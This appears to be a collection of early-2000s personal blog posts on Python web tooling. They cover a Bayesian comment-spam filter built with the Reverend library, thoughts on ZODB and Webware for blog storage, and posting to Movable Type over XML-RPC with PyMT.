I ‘m already using a good email spam filter: SpamBayes, so I decided to test bayesian filtering for the spam on this blog too.

I decided to give Reverend a try:

from reverend.thomas import Bayes

SPAM_DB='spam.bayes'
guesser = Bayes()

# load the spam DB
try:
    guesser.load(SPAM_DB)
except IOError:
    print "Creating a new spam filter database"
    guesser.save(SPAM_DB)

def train_spam(text):
    guesser.train('spam',text)
    guesser.save(SPAM_DB)

def train_ham(text):
    guesser.train('ham',text)
    guesser.save(SPAM_DB)

# try to guess the spam / ham ratio of a text
def guess(text):
    spam = 0
    ham = 0
    value = guesser.guess(text)
    for o in value:
        if o[0] == 'ham': ham = o[1]
        if o[0] == 'spam': spam = o[1]
    return (ham,spam)

Small, and really simple module no ? The next step, simply add a ’spam’ and ‘ham’ attributes on your comment post. And add two methods to train the comment as a spam or a ham.. And of course, only display comments which have a good ratio ( >1) ham/spam. This took me about 1 hour to implement…

After a week, of train, this is working very fine, not a single false positive, and it filter every spam since the first trains. As I get around 20 spams post per day, this is quite a good news ;)

Enjoy Bayesian ?

Beside, this is a big work.. I loose my time with CSS hacking right now ! I guess I should stop this but .. i don’t.

from AlineaLib import motivation
motivation.enable()

Let’s go :)

You can find the whole stuff on PythonFr SVN.

This sound amaizing since i have already done several things like this, using ww and Modeling but i found that using a RDBDM for a little blog ( < 1000 post) isn’t a good idea. Need a lot of works for DB management, developpement and lot of trouble for migration. In this other side, using plain old fashion text file isn’t a good way too since you can’t introduce feature easily .. and writing text file need a lot of work to take care about author and date and so on..

I finally conclude the best way to have something that is usefull ( as a long time process ) it to have a ‘object oriented’ store backend. So i choose ZODB, but MetaKit can be a good challenger too.

Another thing that i found usefull in Zope, is the handly of URL. I don’t need to scratch my hairs playing w/ Apache Rewrite Rules .. and other stuff. I read recently that Webware is to be rewriten.. I hope the dev team will tray to fix this in webware too.

I really think that it should be possible to declare some kind of URL to be handled by a certain Webware Servlet. Perhaps using the same type <=> class mapping as Zope do.. This can of course done w/ Apache Rewrite but i don’t find this really nice, having to tweak apache config while i’m developping is awfull for me. ( Even using apache is a bit crudy for me ..)

This is my first post w/ XML-RPC mainly using PyMT check out: http://pymt.sf.net for more infos

import PyMT
mt = PyMT.PyMT("http://larsen-b.com/cgi-bin/mt/mt-xmlrpc.cgi","user","xxxx")
p = {'title':'Test Post from PyMT','description':'This is my first post w/ XML-RPC mainly using  PyMT','categories':[] }
mt.newPost(1,p,1)

http://radio.weblogs.com/0100490/2003/04/10.html | What do I need in a blogging tool?